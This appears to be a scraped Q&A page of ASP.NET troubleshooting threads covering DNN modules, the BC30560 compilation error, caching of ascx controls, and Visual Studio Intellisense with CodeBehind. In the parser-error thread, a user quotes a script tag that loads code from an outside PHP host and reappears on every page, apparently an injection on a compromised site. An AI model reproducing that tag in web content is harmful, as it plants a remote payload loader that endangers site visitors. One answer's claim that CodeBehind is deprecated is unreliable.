code behind does not execute in dnn module - asp.net

I have installed DNN server, and created new DNN module in Visual Studio, using Chris Hammond's project template. I have added module to DNN as extension, and its client-side works fine.
But I can not execute ASP.NET code behind part of project. I have tried to execute pre-generated Page_load() method, and also one button_click handler which I have constructed, but they just do not execute (I have tested with breakpoints, and also with code which should leave some trace in console, or in a file).
DNN documentation does not mention this issue.
What am I missing here ?

If you are using the WebForms pattern, on the .ascx file the top row will have AutoEventWireup="false" by default I believe. Change that to True. I've noticed a few people with this problem.
If this isn't the issue, make sure that you do not have a Cache time set in your .dnn manifest file.

Related

BC30560: 'ExtensionAttribute' is ambiguous in the namespace 'System.Runtime.CompilerServices'

I have asp.net project (in .net 2.0) and I converted project to .net 4.0.
After I built the project successfully, I launched the website on browser, it throws error as following:
Compilation Error
Description: An error occurred during the compilation of a resource
required to service this request. Please review the following specific
error details and modify your source code appropriately.
Compiler Error Message: BC30560: 'ExtensionAttribute' is ambiguous in
the namespace 'System.Runtime.CompilerServices'.
Source Error:
[No relevant source lines]
Source File: InternalXmlHelper.vb Line: 9
........
Please give me some idea to fix it.
A common trick to use extension methods (for LINQ etc) in .NET 2 with the C# 3 (or above) compiler was to define your own ExtensionAttribute in the right namespace.
Now that you have upgraded to a later version of .NET you need to remove this now-redundant extra attribute. Find where it is defined in your code and expunge it. Also check for external libraries like LINQBridge - you won't need this any more.
One way to find it would be to use the object browser and search for ExtensionAttribute.
This was how I found the issue.
Another easy way to verify: In your code, temporarily use the class somewhere. Example:
System.Runtime.CompilerServices.ExtensionAttribute x = null;
When building, this will generate error:
The type
'System.Runtime.CompilerServices.ExtensionAttribute' exists in both
'c:\Program Files\Reference
Assemblies\Microsoft\Framework\v3.5\System.Core.dll'
and .....
And show you immediately the 2 sources causing the conflict.
I had this exact same error, and what solved it for me was to delete the Themes (under App_Themes). I haven't tried re-adding the themes to see if they'll work yet, but deleting that fixed the error, at least.
Note that I discovered it was the Themes causing this by looking at the compiler details in the error, and noting that the only .vb files it was compiling were related to themes (auto-generated). My project is all C#, so the error coming from VB made me look for the .vb files.
I had this problem, and listed below is what worked for me.
The clue was that the error message mentions InternalXmlHelper.vb. I am a C# programmer, so why the mention of a VB component?
This problem can arise if you have not been explicit about the compilation language for your ASPX page. If you have not been explicit, then IIS will compile in whatever is set as the default language for that site. If you are writing in C#, have not been explicit about the compilation language, and the default compilation language in IIS is C#, then happy days. But if the default compilation language in IIS is set to vb (which it seems it is by default), then your C# page is going to get compiled as if it were vb, and you get the BC30560 error.
The best fix is to be explicit as to the compilation language for your aspx pages, by putting a directive like this at the top of each of your aspx pages:
<%# Page Language="C#" %>
Alternatively, you can leave your pages ambiguous (no Page Language directive) and tell IIS what to use as the default compilation language, like this:
With IIS manager -> go look at the root of your websites (it will be your server name) then -> in the ASP.NET section -> double-click the .NET Compilation icon (blue down-arrow) -> in the list of settings, under the General heading, is a setting for Default Language -> set this to c#
You can also set the default language per website if you want. Same as above, but set it for a website below the root of the left-hand-side IIS tree view, instead of for the root of it. Note that if you set your default-language=c# for a website, that setting gets stored in the root web.config of your site - in the <system.web> section you'll have a value like this: <compilation debug="false" defaultLanguage="c#" />. If you delete or overwrite that setting in your web.config, it will revert to whatever is default for the IIS instance.
This error is also because you don't have the page directive at the top of your aspx file. This is why VB compiler is used.
Write this to the top:
<%# Page Language="C#" %>
I had this error. Simply restarting Visual Studio made it go away.
This error also occurs in ASP.NET MVC Web Applications if you use an incorrect file extension for your views or partials.
I had inadvertently created a view using an incorrect extension (.ascx instead of .cshtml) and received this error message.
Changing the extension to .cshtml fixed the issue.

Visual studio pulling a cached page

I think my visual studio is pulling a cached version of a webpage. See I am putting in code in the page, but when I run the website it never shows up.
And if I delete parts of the webpage, they still show when I run it.
I tried to rebuild but it still doesn't work.
When you say "putting code in the page," are you referring to the markup (aspx/ascx/cshtml/vbhtml/etc), or a code file (.cs, .vb)?
If you're modifying the code-behind file (webforms) or a controller (MVC), and you're (hopefully) using a web application project instead of a website project, you need to recompile the solution for your changes to take effect.

Asp.Net/Sitecore embedded ascx resources not picking up changes

I'm not sure if this is a Sitecore 6 or Asp.net problem.
I have an assembly made up entirely of ascx user controls in which all of the necessary files are embedded resources (ascx, javascript, etc). I have been using the user controls in this assembly in a Sitecore web site for a few months.
Recently I tried to make changes to some of the user controls. I'm sure I made changes to the user controls in the past and it worked fine. But now when I make any changes to the ascx files they don't get picked up in the website. Changes to other files, including the code behind and javascript files are getting picked up. It appears only to be the ascx files that have a problem. It continues to use the old versions of the ascx files, from where I have no idea.
I know it's using the latest version of my assembly because I've stepped through the code behind, and used Fusion to check where the assemblies are loaded from. I've tried deleting all of the files in the Asp.Net cache. I've looked at the ascx files inside the assembly using a decompiler and it does have all of the changes I made. I turned off all caching in Sitecore just to see if that would fix it, but it didn't. I can't think of anything else to check. Any ideas?
Seems there is a new flag in web.config compilation settings called optimizeCompilations that is supposed to make things compile faster. Someone set this to true and that caused changes to user controls in other assemblies to not get compiled

parser error in webapplication (asp.net)?

I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.

Visual Studio 2008 losing intellisense for ASCX with CodeBehind (but works for CodeFile)?

I have the following definition at the top of my .ASCX file:
<%# Control Language="C#" AutoEventWireup="true" CodeBehind="ArticleView.aspx.cs" Inherits="MyNameSpace.ArticleView" %>
In that control I make use of <%= %> blocks to refer to members that I've declared in the code-behind file. If I compile and deploy the control, it works fine. But in Visual Studio I get a lot of design-time errors, "{some variable} does not exist in the current context." And Intellisense breaks too: it works for members of UserControl, but can't find my own declared members. There are other issues as well. In general, everything points to the fact that the ASP.articleview_ascx class getting generated is somehow not inheriting from the MyNameSpace.ArticleView class.
I've found that if I switch the CodeBehind attribute to "CodeFile":
<%# Control Language="C#" AutoEventWireup="true" CodeFile="ArticleView.aspx.cs" Inherits="MyNameSpace.ArticleView" %>
suddenly Intellisense works and all the design-time errors disappear. But I don't want to do runtime compilation, or deploy my .ASCX.CS files - so I can't use CodeFile.
I've checked the simple stuff, like making sure that my CodeBehind filename is correct & the Inherits class has the proper namespace, etc. (And since it works properly after changing the attribute to CodeFile, those must be pointing at the right place....) But what am I missing? Why can't it handle the CodeBehind attribute?
Thanks,
Steve
Update: from a thread below - basic question was, why not just use CodeFile? Answer: when I try to deploy using CodeFile= in my files, after deploying I receive the following stack trace (presented in its entirety):
/_layouts/Pages/ViewPage.aspx.cs' does not exist. at System.Web.UI.Util.CheckVirtualFileExists(VirtualPath virtualPath) at System.Web.UI.TemplateParser.ProcessCodeFile(VirtualPath codeFileVirtualPath) at System.Web.UI.TemplateParser.ProcessMainDirectiveAttribute(String deviceName, String name, String value, IDictionary parseData)
(This is from a request to /_layouts/Pages/ViewPage.aspx. ViewPage is the page that has several other controls including the ArticleView mentioned in my original example. It just happens to be the first file that fails - if I go back to CodeBehind= in ViewPage, then included ASCX with CodeFile= will fail in the same way.) This seems to be the page compiler complaining because the inherited codebehind class can't be found in any loaded DLL, so it expects there must be a CS file to do on-demand compilation.
The issue here is that I don't want to deploy CS files, just ASPX/ASCX. Having read through many articles like this great one I'm aware of the various new models of deployment, although I've never used anything but a Web Application Project (converted forward from VS2003, we were late adopters of 2005 & the WAP model had already been added by the time we switched up from 2003.) Over many VS2005/8 projects, I've never had a problem with CodeBehind=, until this Intellisense issue showed up... though it doesn't help that in this case I'm deploying to SharePoint, which introduces a whole new level of complexity.
Since I've not deployed using CodeFile before, it's very likely that I'm missing some option I'm supposed to set in VS when building, in order to force a pre-compile. I just need to be able to deploy, as I do today, as a set of ASPX/ASCX with a single codebehind DLL. And that's working today with CodeBehind= ... it just has the originally mentioned Intellisense problem, which is really what I want to fix :)
Will post more as I identify what files might be relevant to the question...
Have you checked the Build Action on your project files? I have duplicated your issue by setting the Build Action on ArticleView.ascx.designer.cs to None. I can also compile when using CodeFile, etc..., I'm 99% sure that's your problem.
You are missing the [your-file].ascx.designer.cs file, which links your controls to your codebehind.
Just like CitizenBane suggestions, you need to right-click the file (or folders, or entire web project) and select "Convert to Application". Visual Studio will examine your ascx/aspx files for the server controls, and generate that designer file for you.
I actually ran into this myself, on a far larger scale... C#: How to convert a Website project to a Web Project
Check the answer.
This has happened to me before. Try right clicking the ascx/aspx and click on "Convert to Web Application". You may just be missing the generated controls. If you don't see it in the context menu, delete the designer generated file first.
CodeBehind is deprecated in .NET 2.0. I believe that only <= 1.1 uses "CodeBehind". Now it is "CodeFile" as you say.
Why do you not want to compile your code? If you compile you don't have to deploy your .cs files...
Why do you have the code behind for your ascx control as an aspx named page code behind?
A UserControl (ascx) usually has a codebehind of
CodeBehind="ArticleView.ascx.cs"
instead of what you have listed
CodeBehind="ArticleView.aspx.cs"
Notice the aspx instead of the ascx for a User Control.
That could be your problem... a simple typo or a copy and paste error. Couple possibilities come to mind:
Maybe you have the ascx control (User Control) specified above using a code behind file that is inheriting from System.Web.UI.Page instead of System.Web.UI.UserControl (that could be causing the Visual Studio errors).
You have the UserControl pointed at the code behind for a same name aspx page. Similar problem as #1 which would cause Visual Studio to get all confused.
Your files are name ArticleView.ascx and ArticleView.aspx.cs. This might confuse Visual Studio since I believe VS might expects a particular naming convention.
For a User Control (ascx) your files should be named:
ArticleView.ascx (CodeBehind="ArticleView.ascx.cs" Inherits="[NAMESPACE].ArticleView")
ArticleView.ascx.cs (inherits from System.Web.UI.UserControl)
ArticleView.ascx.designer.cs
For a Web From (aspx) your files should be named:
ArticlePage.aspx (CodeBehind="ArticlePage.aspx.cs" Inherits="[NAMESPACE].ArticlePage")
ArticlePage.aspx.cs (inherits from System.Web.UI.Page)
ArticlePage.aspx.designer.cs
This just happened to me in VS2010 after upgrading a web application project to .net 4.0.
The answer was to make sure you have targetFramework="4.0" set on the system.web/compilation section in web.config
i.e.
<system.web>
<compilation debug="true" targetFramework="4.0">
</system.web>

Resources